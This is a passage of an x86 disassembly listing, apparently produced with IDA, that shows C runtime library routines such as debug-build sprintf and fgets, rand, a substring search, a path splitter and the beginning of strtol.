jnz short loc_41E9DE
push 0FFFFFFFFh
call sub_41D580
add esp, 4
and eax, 20h
test eax, eax
jz short loc_41E9DE
mov ds:dword_4F3338, 1
call sub_41E030
loc_41E9DE: ; CODE XREF: sub_41E920+9Cj
; sub_41E920+ADj
cmp [ebp+arg_8], 0
jz short loc_41E9EB
call sub_41EA20
jmp short loc_41E9FF
; ---------------------------------------------------------------------------
loc_41E9EB: ; CODE XREF: sub_41E920+C2j
mov ds:dword_4F3334, 1
mov ecx, [ebp+arg_0]
push ecx
call ds:off_4F5338
loc_41E9FF: ; CODE XREF: sub_41E920+C9j
mov esp, ebp
pop ebp
retn
sub_41E920 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EA10 proc near ; CODE XREF: sub_41E920+4p
; sub_420C50+4p
push ebp
mov ebp, esp
push 0Dh
call sub_423280
add esp, 4
pop ebp
retn
sub_41EA10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EA20 proc near ; CODE XREF: sub_41E920+C4p
; sub_420C50+61p ...
push ebp
mov ebp, esp
push 0Dh
call sub_423320
add esp, 4
pop ebp
retn
sub_41EA20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EA30 proc near ; CODE XREF: sub_41E860+1Cp
; sub_41E860+2Ep ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
loc_41EA33: ; CODE XREF: sub_41EA30+21j
mov eax, [ebp+arg_0]
cmp eax, [ebp+arg_4]
jnb short loc_41EA53
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx], 0
jz short loc_41EA48
mov edx, [ebp+arg_0]
call dword ptr [edx]
loc_41EA48: ; CODE XREF: sub_41EA30+11j
mov eax, [ebp+arg_0]
add eax, 4
mov [ebp+arg_0], eax
jmp short loc_41EA33
; ---------------------------------------------------------------------------
loc_41EA53: ; CODE XREF: sub_41EA30+9j
pop ebp
retn
sub_41EA30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EA60 proc near ; CODE XREF: sub_401404+18Cp
; sub_401404+283p ...
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 30h
push ebx
push esi
push edi
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
lea ecx, [ebp+arg_8]
mov [ebp+var_2C], ecx
loc_41EA75: ; CODE XREF: sub_41EA60+3Dj
cmp [ebp+arg_0], 0
jnz short loc_41EA99
push offset aStringNull ; "string != NULL"
push 0
push 5Dh
push offset aSprintf_c ; "sprintf.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41EA99
int 3 ; Trap to Debugger
loc_41EA99: ; CODE XREF: sub_41EA60+19j
; sub_41EA60+36j
xor edx, edx
test edx, edx
jnz short loc_41EA75
loc_41EA9F: ; CODE XREF: sub_41EA60+67j
cmp [ebp+arg_4], 0
jnz short loc_41EAC3
push offset aFormatNull ; "format != NULL"
push 0
push 5Eh
push offset aSprintf_c ; "sprintf.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41EAC3
int 3 ; Trap to Debugger
loc_41EAC3: ; CODE XREF: sub_41EA60+43j
; sub_41EA60+60j
xor eax, eax
test eax, eax
jnz short loc_41EA9F
mov ecx, [ebp+var_24]
mov dword ptr [ecx+0Ch], 42h
mov edx, [ebp+var_24]
mov eax, [ebp+arg_0]
mov [edx+8], eax
mov ecx, [ebp+var_24]
mov edx, [ebp+arg_0]
mov [ecx], edx
mov eax, [ebp+var_24]
mov dword ptr [eax+4], 7FFFFFFFh
mov ecx, [ebp+var_2C]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_24]
push eax
call sub_427F60
add esp, 0Ch
mov [ebp+var_28], eax
mov ecx, [ebp+var_24]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+var_24]
mov [eax+4], edx
mov ecx, [ebp+var_24]
cmp dword ptr [ecx+4], 0
jl short loc_41EB3F
mov edx, [ebp+var_24]
mov eax, [edx]
mov byte ptr [eax], 0
xor ecx, ecx
and ecx, 0FFh
mov [ebp+var_30], ecx
mov edx, [ebp+var_24]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_24]
mov [ecx], eax
jmp short loc_41EB50
; ---------------------------------------------------------------------------
loc_41EB3F: ; CODE XREF: sub_41EA60+BBj
mov edx, [ebp+var_24]
push edx
push 0
call sub_427CE0
add esp, 8
mov [ebp+var_30], eax
loc_41EB50: ; CODE XREF: sub_41EA60+DDj
mov eax, [ebp+var_28]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41EA60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EB60 proc near ; CODE XREF: sub_401404+45p
; sub_401C87+31ACp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
call sub_428EE0
mov ecx, [ebp+arg_0]
mov [eax+14h], ecx
pop ebp
retn
sub_41EB60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EB70 proc near ; CODE XREF: sub_401404:loc_401559p
; sub_401404:loc_401875p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
call sub_428EE0
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov ecx, [eax+14h]
imul ecx, 343FDh
add ecx, 269EC3h
mov edx, [ebp+var_4]
mov [edx+14h], ecx
mov eax, [ebp+var_4]
mov eax, [eax+14h]
shr eax, 10h
and eax, 7FFFh
mov esp, ebp
pop ebp
retn
sub_41EB70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41EBB0 proc near ; CODE XREF: sub_401404+12Ap
; sub_401C87+8Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_41EC2A
mov dh, [ecx+1]
test dh, dh
jz short loc_41EC17
loc_41EBC8: ; CODE XREF: sub_41EBB0+52j
; sub_41EBB0+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_41EBEA
test al, al
jz short loc_41EBE4
loc_41EBD9: ; CODE XREF: sub_41EBB0+32j
mov al, [esi]
inc esi
loc_41EBDC: ; CODE XREF: sub_41EBB0+3Fj
cmp al, dl
jz short loc_41EBEA
test al, al
jnz short loc_41EBD9
loc_41EBE4: ; CODE XREF: sub_41EBB0+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41EBEA: ; CODE XREF: sub_41EBB0+23j
; sub_41EBB0+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_41EBDC
lea edi, [esi-1]
loc_41EBF4: ; CODE XREF: sub_41EBB0+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_41EC23
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_41EBC8
mov al, [ecx+3]
test al, al
jz short loc_41EC23
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_41EBF4
jmp short loc_41EBC8
; ---------------------------------------------------------------------------
loc_41EC17: ; CODE XREF: sub_41EBB0+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_41F726
; ---------------------------------------------------------------------------
loc_41EC23: ; CODE XREF: sub_41EBB0+49j
; sub_41EBB0+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41EC2A: ; CODE XREF: sub_41EBB0+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41EBB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EC30 proc near ; CODE XREF: sub_401404+117p
; sub_401C87+1C23p ...
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 30h
push ebx
push esi
push edi
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
lea ecx, [ebp+arg_C]
mov [ebp+var_2C], ecx
loc_41EC45: ; CODE XREF: sub_41EC30+3Dj
cmp [ebp+arg_0], 0
jnz short loc_41EC69
push offset aStringNull ; "string != NULL"
push 0
push 5Dh
push offset aSprintf_c ; "sprintf.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41EC69
int 3 ; Trap to Debugger
loc_41EC69: ; CODE XREF: sub_41EC30+19j
; sub_41EC30+36j
xor edx, edx
test edx, edx
jnz short loc_41EC45
loc_41EC6F: ; CODE XREF: sub_41EC30+67j
cmp [ebp+arg_8], 0
jnz short loc_41EC93
push offset aFormatNull ; "format != NULL"
push 0
push 5Eh
push offset aSprintf_c ; "sprintf.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41EC93
int 3 ; Trap to Debugger
loc_41EC93: ; CODE XREF: sub_41EC30+43j
; sub_41EC30+60j
xor eax, eax
test eax, eax
jnz short loc_41EC6F
mov ecx, [ebp+var_24]
mov dword ptr [ecx+0Ch], 42h
mov edx, [ebp+var_24]
mov eax, [ebp+arg_0]
mov [edx+8], eax
mov ecx, [ebp+var_24]
mov edx, [ebp+arg_0]
mov [ecx], edx
mov eax, [ebp+var_24]
mov ecx, [ebp+arg_4]
mov [eax+4], ecx
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_24]
push ecx
call sub_427F60
add esp, 0Ch
mov [ebp+var_28], eax
mov edx, [ebp+var_24]
mov eax, [edx+4]
sub eax, 1
mov ecx, [ebp+var_24]
mov [ecx+4], eax
mov edx, [ebp+var_24]
cmp dword ptr [edx+4], 0
jl short loc_41ED0E
mov eax, [ebp+var_24]
mov ecx, [eax]
mov byte ptr [ecx], 0
xor edx, edx
and edx, 0FFh
mov [ebp+var_30], edx
mov eax, [ebp+var_24]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+var_24]
mov [edx], ecx
jmp short loc_41ED1F
; ---------------------------------------------------------------------------
loc_41ED0E: ; CODE XREF: sub_41EC30+BAj
mov eax, [ebp+var_24]
push eax
push 0
call sub_427CE0
add esp, 8
mov [ebp+var_30], eax
loc_41ED1F: ; CODE XREF: sub_41EC30+DCj
mov eax, [ebp+var_28]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41EC30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ED30 proc near ; CODE XREF: sub_401404+F7p
; sub_401C87+2175p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_C], 0
mov [ebp+var_8], 0
mov eax, [ebp+arg_0]
push eax
call sub_41BC70
add esp, 4
cmp eax, 1
jb short loc_41ED8B
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx+1]
cmp edx, 3Ah
jnz short loc_41ED8B
cmp [ebp+arg_4], 0
jz short loc_41ED80
push 2
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_4298C0
add esp, 0Ch
mov edx, [ebp+arg_4]
mov byte ptr [edx+2], 0
loc_41ED80: ; CODE XREF: sub_41ED30+35j
mov eax, [ebp+arg_0]
add eax, 2
mov [ebp+arg_0], eax
jmp short loc_41ED97
; ---------------------------------------------------------------------------
loc_41ED8B: ; CODE XREF: sub_41ED30+23j
; sub_41ED30+2Fj
cmp [ebp+arg_4], 0
jz short loc_41ED97
mov ecx, [ebp+arg_4]
mov byte ptr [ecx], 0
loc_41ED97: ; CODE XREF: sub_41ED30+59j
; sub_41ED30+5Fj
mov [ebp+var_C], 0
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
jmp short loc_41EDAF
; ---------------------------------------------------------------------------
loc_41EDA6: ; CODE XREF: sub_41ED30:loc_41EE0Cj
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_41EDAF: ; CODE XREF: sub_41ED30+74j
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_41EE0E
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
xor edx, edx
mov dl, ds:byte_4F38E1[ecx]
and edx, 4
test edx, edx
jz short loc_41EDDA
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_41EE0C
; ---------------------------------------------------------------------------
loc_41EDDA: ; CODE XREF: sub_41ED30+9Dj
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 2Fh
jz short loc_41EDF0
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 5Ch
jnz short loc_41EDFB
loc_41EDF0: ; CODE XREF: sub_41ED30+B3j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_C], edx
jmp short loc_41EE0C
; ---------------------------------------------------------------------------
loc_41EDFB: ; CODE XREF: sub_41ED30+BEj
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 2Eh
jnz short loc_41EE0C
mov edx, [ebp+var_4]
mov [ebp+var_8], edx
loc_41EE0C: ; CODE XREF: sub_41ED30+A8j
; sub_41ED30+C9j ...
jmp short loc_41EDA6
; ---------------------------------------------------------------------------
loc_41EE0E: ; CODE XREF: sub_41ED30+87j
cmp [ebp+var_C], 0
jz short loc_41EE64
cmp [ebp+arg_8], 0
jz short loc_41EE5C
mov eax, [ebp+var_C]
sub eax, [ebp+arg_0]
cmp eax, 0FFh
jnb short loc_41EE32
mov ecx, [ebp+var_C]
sub ecx, [ebp+arg_0]
mov [ebp+var_14], ecx
jmp short loc_41EE39
; ---------------------------------------------------------------------------
loc_41EE32: ; CODE XREF: sub_41ED30+F5j
mov [ebp+var_14], 0FFh
loc_41EE39: ; CODE XREF: sub_41ED30+100j
mov edx, [ebp+var_14]
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_8]
push edx
call sub_4298C0
add esp, 0Ch
mov eax, [ebp+arg_8]
add eax, [ebp+var_10]
mov byte ptr [eax], 0
loc_41EE5C: ; CODE XREF: sub_41ED30+E8j
mov ecx, [ebp+var_C]
mov [ebp+arg_0], ecx
jmp short loc_41EE70
; ---------------------------------------------------------------------------
loc_41EE64: ; CODE XREF: sub_41ED30+E2j
cmp [ebp+arg_8], 0
jz short loc_41EE70
mov edx, [ebp+arg_8]
mov byte ptr [edx], 0
loc_41EE70: ; CODE XREF: sub_41ED30+132j
; sub_41ED30+138j
cmp [ebp+var_8], 0
jz loc_41EF1A
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_0]
jb loc_41EF1A
cmp [ebp+arg_C], 0
jz short loc_41EECF
mov ecx, [ebp+var_8]
sub ecx, [ebp+arg_0]
cmp ecx, 0FFh
jnb short loc_41EEA5
mov edx, [ebp+var_8]
sub edx, [ebp+arg_0]
mov [ebp+var_18], edx
jmp short loc_41EEAC
; ---------------------------------------------------------------------------
loc_41EEA5: ; CODE XREF: sub_41ED30+168j
mov [ebp+var_18], 0FFh
loc_41EEAC: ; CODE XREF: sub_41ED30+173j
mov eax, [ebp+var_18]
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_C]
push eax
call sub_4298C0
add esp, 0Ch
mov ecx, [ebp+arg_C]
add ecx, [ebp+var_10]
mov byte ptr [ecx], 0
loc_41EECF: ; CODE XREF: sub_41ED30+15Aj
cmp [ebp+arg_10], 0
jz short loc_41EF18
mov edx, [ebp+var_4]
sub edx, [ebp+var_8]
cmp edx, 0FFh
jnb short loc_41EEEE
mov eax, [ebp+var_4]
sub eax, [ebp+var_8]
mov [ebp+var_1C], eax
jmp short loc_41EEF5
; ---------------------------------------------------------------------------
loc_41EEEE: ; CODE XREF: sub_41ED30+1B1j
mov [ebp+var_1C], 0FFh
loc_41EEF5: ; CODE XREF: sub_41ED30+1BCj
mov ecx, [ebp+var_1C]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_10]
push ecx
call sub_4298C0
add esp, 0Ch
mov edx, [ebp+arg_10]
add edx, [ebp+var_10]
mov byte ptr [edx], 0
loc_41EF18: ; CODE XREF: sub_41ED30+1A3j
jmp short loc_41EF6E
; ---------------------------------------------------------------------------
loc_41EF1A: ; CODE XREF: sub_41ED30+144j
; sub_41ED30+150j
cmp [ebp+arg_C], 0
jz short loc_41EF62
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
cmp eax, 0FFh
jnb short loc_41EF38
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_0]
mov [ebp+var_20], ecx
jmp short loc_41EF3F
; ---------------------------------------------------------------------------
loc_41EF38: ; CODE XREF: sub_41ED30+1FBj
mov [ebp+var_20], 0FFh
loc_41EF3F: ; CODE XREF: sub_41ED30+206j
mov edx, [ebp+var_20]
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_C]
push edx
call sub_4298C0
add esp, 0Ch
mov eax, [ebp+arg_C]
add eax, [ebp+var_10]
mov byte ptr [eax], 0
loc_41EF62: ; CODE XREF: sub_41ED30+1EEj
cmp [ebp+arg_10], 0
jz short loc_41EF6E
mov ecx, [ebp+arg_10]
mov byte ptr [ecx], 0
loc_41EF6E: ; CODE XREF: sub_41ED30:loc_41EF18j
; sub_41ED30+236j
mov esp, ebp
pop ebp
retn
sub_41ED30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41EF80 proc near ; CODE XREF: sub_401B0B+8p
; sub_401C87+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_41EFA0
loc_41EF8C: ; CODE XREF: sub_41EF80+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_41EF8C
loc_41EFA0: ; CODE XREF: sub_41EF80+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_41EF80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EFB0 proc near ; CODE XREF: sub_401C87+75EFp
; sub_401C87+761Cp ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_10], ecx
loc_41EFC5: ; CODE XREF: sub_41EFB0+3Dj
cmp [ebp+arg_0], 0
jnz short loc_41EFE9
push offset aStringNull ; "string != NULL"
push 0
push 3Bh
push offset aFgets_c ; "fgets.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41EFE9
int 3 ; Trap to Debugger
loc_41EFE9: ; CODE XREF: sub_41EFB0+19j
; sub_41EFB0+36j
xor edx, edx
test edx, edx
jnz short loc_41EFC5
loc_41EFEF: ; CODE XREF: sub_41EFB0+67j
cmp [ebp+arg_8], 0
jnz short loc_41F013
push offset dword_43C514
push 0
push 3Ch
push offset aFgets_c ; "fgets.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41F013
int 3 ; Trap to Debugger
loc_41F013: ; CODE XREF: sub_41EFB0+43j
; sub_41EFB0+60j
xor eax, eax
test eax, eax
jnz short loc_41EFEF
cmp [ebp+arg_4], 0
jg short loc_41F026
xor eax, eax
jmp loc_41F0E7
; ---------------------------------------------------------------------------
loc_41F026: ; CODE XREF: sub_41EFB0+6Dj
mov ecx, [ebp+arg_8]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
push edx
call sub_422420
add esp, 4
loc_41F038: ; CODE XREF: sub_41EFB0:loc_41F0CDj
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+arg_4], eax
cmp [ebp+arg_4], 0
jz loc_41F0D2
mov ecx, [ebp+var_4]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+var_4]
mov [eax+4], edx
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+4], 0
jl short loc_41F083
mov edx, [ebp+var_4]
mov eax, [edx]
movsx ecx, byte ptr [eax]
and ecx, 0FFh
mov [ebp+var_14], ecx
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_4]
mov [ecx], eax
jmp short loc_41F092
; ---------------------------------------------------------------------------
loc_41F083: ; CODE XREF: sub_41EFB0+B1j
mov edx, [ebp+var_4]
push edx
call sub_427100
add esp, 4
mov [ebp+var_14], eax
loc_41F092: ; CODE XREF: sub_41EFB0+D1j
mov eax, [ebp+var_14]
mov [ebp+var_C], eax
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_41F0B1
mov ecx, [ebp+var_8]
cmp ecx, [ebp+arg_0]
jnz short loc_41F0AF
mov [ebp+var_10], 0
jmp short loc_41F0D8
; ---------------------------------------------------------------------------
loc_41F0AF: ; CODE XREF: sub_41EFB0+F4j
jmp short loc_41F0D2
; ---------------------------------------------------------------------------
loc_41F0B1: ; CODE XREF: sub_41EFB0+ECj
mov edx, [ebp+var_8]
mov al, byte ptr [ebp+var_C]
mov [edx], al
movsx ecx, byte ptr [ebp+var_C]
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
cmp ecx, 0Ah
jnz short loc_41F0CD
jmp short loc_41F0D2
; ---------------------------------------------------------------------------
loc_41F0CD: ; CODE XREF: sub_41EFB0+119j
jmp loc_41F038
; ---------------------------------------------------------------------------
loc_41F0D2: ; CODE XREF: sub_41EFB0+95j
; sub_41EFB0:loc_41F0AFj ...
mov eax, [ebp+var_8]
mov byte ptr [eax], 0
loc_41F0D8: ; CODE XREF: sub_41EFB0+FDj
mov ecx, [ebp+var_4]
push ecx
call sub_422490
add esp, 4
mov eax, [ebp+var_10]
loc_41F0E7: ; CODE XREF: sub_41EFB0+71j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41EFB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F0F0 proc near ; CODE XREF: sub_426C90+1C3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_41F110
add esp, 10h
pop ebp
retn
sub_41F0F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F110 proc near ; CODE XREF: sub_41F0F0+11p
; sub_41F450+11p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov [ebp+var_C], 0
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_8], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_41F134: ; CODE XREF: sub_41F110+77j
cmp ds:dword_453DF0, 1
jle short loc_41F156
push 8
mov ecx, [ebp+var_8]
and ecx, 0FFh
push ecx
call sub_427040
add esp, 8
mov [ebp+var_18], eax
jmp short loc_41F170
; ---------------------------------------------------------------------------
loc_41F156: ; CODE XREF: sub_41F110+2Bj
mov edx, [ebp+var_8]
and edx, 0FFh
mov eax, ds:off_453BE4
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8
mov [ebp+var_18], ecx
loc_41F170: ; CODE XREF: sub_41F110+44j
cmp [ebp+var_18], 0
jz short loc_41F189
mov edx, [ebp+var_4]
mov al, [edx]
mov byte ptr [ebp+var_8], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_41F134
; ---------------------------------------------------------------------------
loc_41F189: ; CODE XREF: sub_41F110+64j
movsx edx, byte ptr [ebp+var_8]
cmp edx, 2Dh
jnz short loc_41F1AD
mov eax, [ebp+arg_C]
or al, 2
mov [ebp+arg_C], eax
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_8], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_41F1C7
; ---------------------------------------------------------------------------
loc_41F1AD: ; CODE XREF: sub_41F110+80j
movsx ecx, byte ptr [ebp+var_8]
cmp ecx, 2Bh
jnz short loc_41F1C7
mov edx, [ebp+var_4]
mov al, [edx]
mov byte ptr [ebp+var_8], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_41F1C7: ; CODE XREF: sub_41F110+9Bj
; sub_41F110+A4j
cmp [ebp+arg_8], 0
jl short loc_41F1D9
cmp [ebp+arg_8], 1
jz short loc_41F1D9
cmp [ebp+arg_8], 24h
jle short loc_41F1EE
loc_41F1D9: ; CODE XREF: sub_41F110+BBj
; sub_41F110+C1j
cmp [ebp+arg_4], 0
jz short loc_41F1E7
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_0]
mov [edx], eax
loc_41F1E7: ; CODE XREF: sub_41F110+CDj
xor eax, eax
jmp loc_41F43D
; ---------------------------------------------------------------------------
loc_41F1EE: ; CODE XREF: sub_41F110+C7j
cmp [ebp+arg_8], 0
jnz short loc_41F22C
movsx ecx, byte ptr [ebp+var_8]
cmp ecx, 30h
jz short loc_41F206
mov [ebp+arg_8], 0Ah
jmp short loc_41F22C
; ---------------------------------------------------------------------------
loc_41F206: ; CODE XREF: sub_41F110+EBj
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 78h
jz short loc_41F21C
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 58h
jnz short loc_41F225
loc_41F21C: ; CODE XREF: sub_41F110+FFj
mov [ebp+arg_8], 10h
jmp short loc_41F22C
; ---------------------------------------------------------------------------
loc_41F225: ; CODE XREF: sub_41F110+10Aj
mov [ebp+arg_8], 8
loc_41F22C: ; CODE XREF: sub_41F110+E2j
; sub_41F110+F4j ...
cmp [ebp+arg_8], 10h
jnz short loc_41F26B
movsx eax, byte ptr [ebp+var_8]
cmp eax, 30h
jnz short loc_41F26B
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 78h
jz short loc_41F251
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 58h
jnz short loc_41F26B
loc_41F251: ; CODE XREF: sub_41F110+134j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov cl, [eax]
mov byte ptr [ebp+var_8], cl
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_41F26B: ; CODE XREF: sub_41F110+120j
; sub_41F110+129j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov [ebp+var_10], eax
loc_41F276: ; CODE XREF: sub_41F110+26Bj
cmp ds:dword_453DF0, 1
jle short loc_41F297
push 4
mov eax, [ebp+var_8]
and eax, 0FFh
push eax
call sub_427040
add esp, 8
mov [ebp+var_1C], eax
jmp short loc_41F2B2
; ---------------------------------------------------------------------------
loc_41F297: ; CODE XREF: sub_41F110+16Dj
mov ecx, [ebp+var_8]
and ecx, 0FFh
mov edx, ds:off_453BE4
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 4
mov [ebp+var_1C], eax
loc_41F2B2: ; CODE XREF: sub_41F110+185j
cmp [ebp+var_1C], 0
jz short loc_41F2C4
movsx ecx, byte ptr [ebp+var_8]
sub ecx, 30h
mov [ebp+var_14], ecx
jmp short loc_41F323
; ---------------------------------------------------------------------------
loc_41F2C4: ; CODE XREF: sub_41F110+1A6j
cmp ds:dword_453DF0, 1
jle short loc_41F2E9
push 103h
mov edx, [ebp+var_8]
and edx, 0FFh
push edx
call sub_427040
add esp, 8
mov [ebp+var_20], eax
jmp short loc_41F306
; ---------------------------------------------------------------------------
loc_41F2E9: ; CODE XREF: sub_41F110+1BBj
mov eax, [ebp+var_8]
